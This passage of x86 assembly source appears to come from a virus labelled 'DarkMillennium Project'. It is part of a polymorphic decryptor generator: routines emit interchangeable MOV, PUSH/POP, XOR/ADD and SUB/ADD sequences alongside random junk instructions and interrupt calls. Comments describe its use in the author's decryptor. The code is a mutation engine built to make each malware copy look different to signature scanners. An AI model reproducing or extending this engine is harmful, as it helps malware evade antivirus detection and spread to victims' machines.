||
|
mov bl, 8
|
||
|
mul bl
|
||
|
add al, 0C5h
|
||
|
stosb
|
||
|
jmp MovType_End
|
||
|
|
||
|
MovType_End: xchg ebp, edi
|
||
|
ret
|
||
|
|
||
|
use_val: cmp al, 0
|
||
|
jne use_val_
|
||
|
|
||
|
mov al, 66h
|
||
|
stosb
|
||
|
mov al, 0B8h
|
||
|
add al, cl
|
||
|
stosb
|
||
|
mov ax, dx
|
||
|
stosw
|
||
|
jmp MovType_End
|
||
|
|
||
|
use_val_: mov al, 0B8h
|
||
|
add al, cl
|
||
|
stosb
|
||
|
mov eax, edx
|
||
|
stosd
|
||
|
jmp MovType_End
|
||
|
|
||
|
GenMovType endp
|
||
|
|
||
|
|
||
|
; Generate PUSH reg2/[reg2]/val ... POP reg1 ( = MOV reg1, reg2/[reg2]/val )
|
||
|
; EBP = location for code
|
||
|
; CL = reg1 (PUSH reg1)
|
||
|
; CH = reg2 (POP reg2)
|
||
|
; ( if CH = 0FFh then use value from EDX instead of reg2 )
|
||
|
; ( in this case AH value will be ignored, no direct mem read like
|
||
|
; MOV EAX, [402000h] 'cause I don't use this kind of instructions in my decryptor )
|
||
|
; AL = type of registry to use 0 = word ( AX, BX ... )
|
||
|
; 1 = dword ( EAX, EBX ... )
|
||
|
; byte registers are not used in my decryptor
|
||
|
; AH = 0 use direct value ( EAX ... )
|
||
|
; 1 use memory address from register ( [EAX], [ESI] ... )
|
||
|
; EDX = use this value instead of reg2 in case CH = 0FFh
|
||
|
;
|
||
|
GenPushPopType proc
|
||
|
|
||
|
xchg ebp, edi
|
||
|
|
||
|
cmp ch, 0FFh
|
||
|
jnz not_val_2
|
||
|
push ax
|
||
|
jmp use_val_2
|
||
|
|
||
|
not_val_2: push ax
|
||
|
cmp al, 0
|
||
|
jnz not_wordreg
|
||
|
|
||
|
mov al, 66h
|
||
|
stosb
|
||
|
|
||
|
not_wordreg: cmp ah, 0
|
||
|
jz not_ebp_
|
||
|
|
||
|
cmp ch, 04h
|
||
|
jnz not_esp_
|
||
|
jmp push_esp
|
||
|
not_esp_: cmp ch, 05h
|
||
|
jnz not_ebp_
|
||
|
jmp push_ebp
|
||
|
|
||
|
not_ebp_: cmp ah, 1
|
||
|
jz push_type1
|
||
|
|
||
|
; PUSH reg2
|
||
|
mov al, 50h
|
||
|
add al, ch
|
||
|
stosb
|
||
|
jmp Pop_reg1
|
||
|
|
||
|
push_type1: ; PUSH [reg2]
|
||
|
mov al, 0FFh
|
||
|
stosb
|
||
|
mov al, 30h
|
||
|
add al, ch
|
||
|
stosb
|
||
|
|
||
|
; POP reg1
|
||
|
pop ax
|
||
|
cmp al, 0
|
||
|
jnz not_wordreg__
|
||
|
|
||
|
mov al, 66h
|
||
|
stosb
|
||
|
|
||
|
not_wordreg__: mov al, 58h
|
||
|
add al, cl
|
||
|
stosb
|
||
|
jmp PushPopType_End
|
||
|
|
||
|
push_esp: ; PUSH [ESP] (reg2)
|
||
|
mov ax, 34FFh
|
||
|
stosw
|
||
|
mov al, 24h
|
||
|
stosb
|
||
|
jmp Pop_reg1
|
||
|
|
||
|
push_ebp: ; PUSH [EBP] (reg2)
|
||
|
mov ax, 75FFh
|
||
|
stosw
|
||
|
mov al, 00h
|
||
|
stosb
|
||
|
|
||
|
Pop_reg1: ; POP reg1
|
||
|
pop ax
|
||
|
cmp al, 0
|
||
|
jnz not_wordreg_
|
||
|
|
||
|
mov al, 66h
|
||
|
stosb
|
||
|
|
||
|
not_wordreg_: mov al, 58h
|
||
|
add al, cl
|
||
|
stosb
|
||
|
|
||
|
PushPopType_End:xchg ebp, edi
|
||
|
ret
|
||
|
|
||
|
use_val_2: cmp al, 0
|
||
|
jnz not_wordreg___
|
||
|
|
||
|
; PUSH val
|
||
|
mov ax, 6866h
|
||
|
stosw
|
||
|
mov ax, dx
|
||
|
stosw
|
||
|
mov ch, cl
|
||
|
jmp Pop_reg1
|
||
|
|
||
|
not_wordreg___: mov al, 68h
|
||
|
stosb
|
||
|
mov eax, edx
|
||
|
stosd
|
||
|
pop ax
|
||
|
mov al, 1
|
||
|
mov ch, cl
|
||
|
push ax
|
||
|
jmp Pop_reg1
|
||
|
|
||
|
GenPushPopType endp
|
||
|
|
||
|
|
||
|
; Generate XOR reg1, reg1 ... ADD reg1, reg2/[reg2]/val ( = MOV reg1, reg2/[reg2]/val )
|
||
|
; EBP = location for code
|
||
|
; CL = reg1
|
||
|
; CH = reg2 ( if CH = 0FFh then use value from EDX instead of reg2 )
|
||
|
; ( in this case AH value will be ignored, no direct mem read like
|
||
|
; MOV EAX, [402000h] 'cause I don't use this kind of instructions in my decryptor )
|
||
|
; AL = type of registry to use 0 = word ( AX, BX ... )
|
||
|
; 1 = dword ( EAX, EBX ... )
|
||
|
; byte registers are not used in my decryptor
|
||
|
; AH = 0 use direct value ( EAX ... )
|
||
|
; 1 use memory address from register ( [EAX], [ESI] ... )
|
||
|
; EDX = use this value instead of reg2 in case CH = 0FFh
|
||
|
;
|
||
|
GenXorAddType proc
|
||
|
xchg ebp, edi
|
||
|
|
||
|
cmp ch, 0FFh
|
||
|
jnz not_val_3
|
||
|
jmp use_val_3
|
||
|
|
||
|
not_val_3: push ax
|
||
|
cmp al, 0
|
||
|
jnz not_wordreg_2
|
||
|
jmp wordreg_2
|
||
|
|
||
|
not_wordreg_2: ; XOR reg1, reg1
|
||
|
mov al, 33h
|
||
|
stosb
|
||
|
mov al, cl
|
||
|
mov bl, 9
|
||
|
mul bl
|
||
|
add al, 0C0h
|
||
|
stosb
|
||
|
|
||
|
pop ax
|
||
|
cmp ah, 0
|
||
|
jz dwordreg_2
|
||
|
|
||
|
cmp ch, 4 ; ESP ?
|
||
|
jz add_esp
|
||
|
cmp ch, 5 ; EBP ?
|
||
|
jz add_ebp
|
||
|
|
||
|
; ADD reg1, [reg2]
|
||
|
mov al, 03h
|
||
|
stosb
|
||
|
mov al, cl
|
||
|
mov bl, 8
|
||
|
mul bl
|
||
|
add al, ch
|
||
|
stosb
|
||
|
jmp GenXorAddType_End
|
||
|
|
||
|
; ADD reg1, [ESP]
|
||
|
add_esp: mov al, 03h
|
||
|
stosb
|
||
|
mov al, cl
|
||
|
mov bl, 9
|
||
|
mul bl
|
||
|
add al, 04h
|
||
|
stosb
|
||
|
mov al, 24h
|
||
|
stosb
|
||
|
jmp GenSubAddType_End
|
||
|
|
||
|
; ADD reg1, [EBP]
|
||
|
add_ebp: mov al, 03h
|
||
|
stosb
|
||
|
mov al, cl
|
||
|
mov bl, 8
|
||
|
mul bl
|
||
|
add al, 45h
|
||
|
stosb
|
||
|
jmp GenSubAddType_End
|
||
|
|
||
|
dwordreg_2: ; ADD reg1, reg2
|
||
|
mov al, 03h
|
||
|
stosb
|
||
|
mov al, cl
|
||
|
mov bl, 8
|
||
|
mul bl
|
||
|
add al, 0C0h
|
||
|
add al, ch
|
||
|
stosb
|
||
|
jmp GenXorAddType_End
|
||
|
|
||
|
wordreg_2: ; XOR reg1, reg1
|
||
|
mov ax, 3366h
|
||
|
stosw
|
||
|
mov al, cl
|
||
|
mov bl, 9
|
||
|
mul bl
|
||
|
add al, 0C0h
|
||
|
stosb
|
||
|
|
||
|
pop ax
|
||
|
cmp ah, 0
|
||
|
jz wordreg_2_
|
||
|
|
||
|
; ADD reg1, [reg2]
|
||
|
mov ax, 0366h
|
||
|
stosw
|
||
|
mov al, cl
|
||
|
mov bl, 8
|
||
|
mul bl
|
||
|
add al, ch
|
||
|
stosb
|
||
|
jmp GenXorAddType_End
|
||
|
|
||
|
wordreg_2_: ; ADD reg1, reg2
|
||
|
mov ax, 0366h
|
||
|
stosw
|
||
|
mov al, cl
|
||
|
mov bl, 8
|
||
|
mul bl
|
||
|
add al, 0C0h
|
||
|
add al, ch
|
||
|
stosb
|
||
|
jmp GenXorAddType_End
|
||
|
|
||
|
use_val_3: ; XOR reg1, reg1
|
||
|
mov al, 33h
|
||
|
stosb
|
||
|
mov al, cl
|
||
|
mov bl, 9
|
||
|
mul bl
|
||
|
add al, 0C0h
|
||
|
stosb
|
||
|
|
||
|
; ADD reg1, val
|
||
|
mov al, 81h
|
||
|
stosb
|
||
|
mov al, 0C0h
|
||
|
add al, cl
|
||
|
stosb
|
||
|
mov eax, edx
|
||
|
stosd
|
||
|
|
||
|
GenXorAddType_End:
|
||
|
xchg ebp, edi
|
||
|
ret
|
||
|
|
||
|
GenXorAddType endp
|
||
|
|
||
|
|
||
|
; Generate SUB reg1, reg1 ... ADD reg1, reg2/[reg2]/val
|
||
|
; EBP = location for code
|
||
|
; CL = reg1
|
||
|
; CH = reg2 ( if CH = 0FFh then use value from EDX instead of reg2 )
|
||
|
; ( in this case AH value will be ignored, no direct mem read like
|
||
|
; MOV EAX, [402000h] 'cause I don't use this kind of instructions in my decryptor )
|
||
|
; AL = type of registry to use 0 = word ( AX, BX ... )
|
||
|
; 1 = dword ( EAX, EBX ... )
|
||
|
; byte registers are not used in my decryptor
|
||
|
; AH = 0 use direct value ( EAX ... )
|
||
|
; 1 use memory address from register ( [EAX], [ESI] ... )
|
||
|
; EDX = use this value instead of reg2 in case CH = 0FFh
|
||
|
;
|
||
|
GenSubAddType proc
|
||
|
xchg ebp, edi
|
||
|
|
||
|
cmp ch, 0FFh
|
||
|
jnz not_val_4
|
||
|
jmp use_val_4
|
||
|
|
||
|
not_val_4: push ax
|
||
|
cmp al, 0
|
||
|
jnz not_wordreg_3
|
||
|
jmp wordreg_3
|
||
|
|
||
|
not_wordreg_3: ; SUB reg1, reg1
|
||
|
mov al, 2Bh
|
||
|
stosb
|
||
|
mov al, cl
|
||
|
mov bl, 9
|
||
|
mul bl
|
||
|
add al, 0C0h
|
||
|
stosb
|
||
|
|
||
|
pop ax
|
||
|
cmp ah, 0
|
||
|
jz dwordreg_3
|
||
|
|
||
|
cmp ch, 4 ; ESP ?
|
||
|
jz add_esp_
|
||
|
cmp ch, 5 ; EBP ?
|
||
|
jz add_ebp_
|
||
|
|
||
|
; ADD reg1, [reg2]
|
||
|
mov al, 03h
|
||
|
stosb
|
||
|
mov al, cl
|
||
|
mov bl, 8
|
||
|
mul bl
|
||
|
add al, ch
|
||
|
stosb
|
||
|
jmp GenSubAddType_End
|
||
|
|
||
|
; ADD reg1, [ESP]
|
||
|
add_esp_: mov al, 03h
|
||
|
stosb
|
||
|
mov al, cl
|
||
|
mov bl, 9
|
||
|
mul bl
|
||
|
add al, 04h
|
||
|
stosb
|
||
|
mov al, 24h
|
||
|
stosb
|
||
|
jmp GenSubAddType_End
|
||
|
|
||
|
; ADD reg1, [EBP]
|
||
|
add_ebp_: mov al, 03h
|
||
|
stosb
|
||
|
mov al, cl
|
||
|
mov bl, 8
|
||
|
mul bl
|
||
|
add al, 45h
|
||
|
stosb
|
||
|
jmp GenSubAddType_End
|
||
|
|
||
|
dwordreg_3: ; ADD reg1, reg2
|
||
|
mov al, 03h
|
||
|
stosb
|
||
|
mov al, cl
|
||
|
mov bl, 8
|
||
|
mul bl
|
||
|
add al, 0C0h
|
||
|
add al, ch
|
||
|
stosb
|
||
|
jmp GenSubAddType_End
|
||
|
|
||
|
wordreg_3: ; SUB reg1, reg1
|
||
|
mov ax, 2B66h
|
||
|
stosw
|
||
|
mov al, cl
|
||
|
mov bl, 9
|
||
|
mul bl
|
||
|
add al, 0C0h
|
||
|
stosb
|
||
|
|
||
|
pop ax
|
||
|
cmp ah, 0
|
||
|
jz wordreg_3_
|
||
|
|
||
|
; ADD reg1, [reg2]
|
||
|
mov ax, 0366h
|
||
|
stosw
|
||
|
mov al, cl
|
||
|
mov bl, 8
|
||
|
mul bl
|
||
|
add al, ch
|
||
|
stosb
|
||
|
jmp GenSubAddType_End
|
||
|
|
||
|
wordreg_3_: ; ADD reg1, reg2
|
||
|
mov ax, 0366h
|
||
|
stosw
|
||
|
mov al, cl
|
||
|
mov bl, 8
|
||
|
mul bl
|
||
|
add al, 0C0h
|
||
|
add al, ch
|
||
|
stosb
|
||
|
jmp GenSubAddType_End
|
||
|
|
||
|
use_val_4: ; SUB reg1, reg1
|
||
|
mov al, 2Bh
|
||
|
stosb
|
||
|
mov al, cl
|
||
|
mov bl, 9
|
||
|
mul bl
|
||
|
add al, 0C0h
|
||
|
stosb
|
||
|
|
||
|
; ADD reg1, val
|
||
|
mov al, 81h
|
||
|
stosb
|
||
|
mov al, 0C0h
|
||
|
add al, cl
|
||
|
stosb
|
||
|
mov eax, edx
|
||
|
stosd
|
||
|
|
||
|
GenSubAddType_End:
|
||
|
xchg ebp, edi
|
||
|
ret
|
||
|
GenSubAddType endp
|
||
|
|
||
|
; Return a random number in AX, between 0 and AX-1
|
||
|
random_in_range proc
|
||
|
push bx dx
|
||
|
xchg ax, bx
|
||
|
call get_rnd
|
||
|
xor dx, dx
|
||
|
div bx
|
||
|
xchg ax, dx
|
||
|
pop dx bx
|
||
|
ret
|
||
|
random_in_range endp
|
||
|
|
||
|
|
||
|
; Tables
|
||
|
|
||
|
RandomJunkTable:
|
||
|
OneByteJunk dd offset GenerateOneByteJunk
|
||
|
INTs dd offset GenerateINTs
|
||
|
_Nothing dd offset GenNothing
|
||
|
RndPutX1X2 dd offset GenRndPutX1X2
|
||
|
EndRandomJunkTable:
|
||
|
|
||
|
OneByteTable: db 090h ; nop
|
||
|
db 0F8h ; clc
|
||
|
db 0F9h ; stc
|
||
|
db 0F5h ; cmc
|
||
|
; db 0CCh ; int 3h
|
||
|
; db 098h ; cbw
|
||
|
; db 099h ; cwd
|
||
|
EndOneByteTable:
|
||
|
|
||
|
INTsTable: ;db 01h
|
||
|
db 08h
|
||
|
db 0Ah
|
||
|
db 0Bh
|
||
|
db 0Ch
|
||
|
; db 0Dh
|
||
|
db 0Eh
|
||
|
db 0Fh
|
||
|
; db 1Ch
|
||
|
db 28h
|
||
|
db 2Bh
|
||
|
db 2Ch
|
||
|
db 2Dh
|
||
|
db 70h
|
||
|
db 71h
|
||
|
db 72h
|
||
|
db 73h
|
||
|
db 74h
|
||
|
; db 75h
|
||
|
db 76h
|
||
|
db 77h
|
||
|
; those with ; before'em will generate an error (ussualy a blue screen)
|
||
|
|
||
|
EndINTsTable:
|
||
|
|
||
|
PutX1X2Table:
|
||
|
MovType dd offset GenMovType
|
||
|
PushPopType dd offset GenPushPopType
|
||
|
XorAddType dd offset GenXorAddType
|
||
|
SubAddType dd offset GenSubAddType
|
||
|
EndPutX1X2Table:
|
||
|
|
||
|
regsTable:
|
||
|
reg_1 db 0
|
||
|
reg_2 db 0
|
||
|
reg_3 db 0
|
||
|
reg_key db 0
|
||
|
reg_fuck_1 db 0
|
||
|
reg_fuck_2 db 0
|
||
|
regsTableEnd:
|
||
|
|
||
|
_end:
|
||
|
|
||
|
gfx_buffer db 10Dh dup (0)
|
||
|
_end_2:
|
||
|
|
||
|
w_title db 'DarkMillennium Project', 0
|
||
|
|
||
|
end Begin
|
||
|
end
|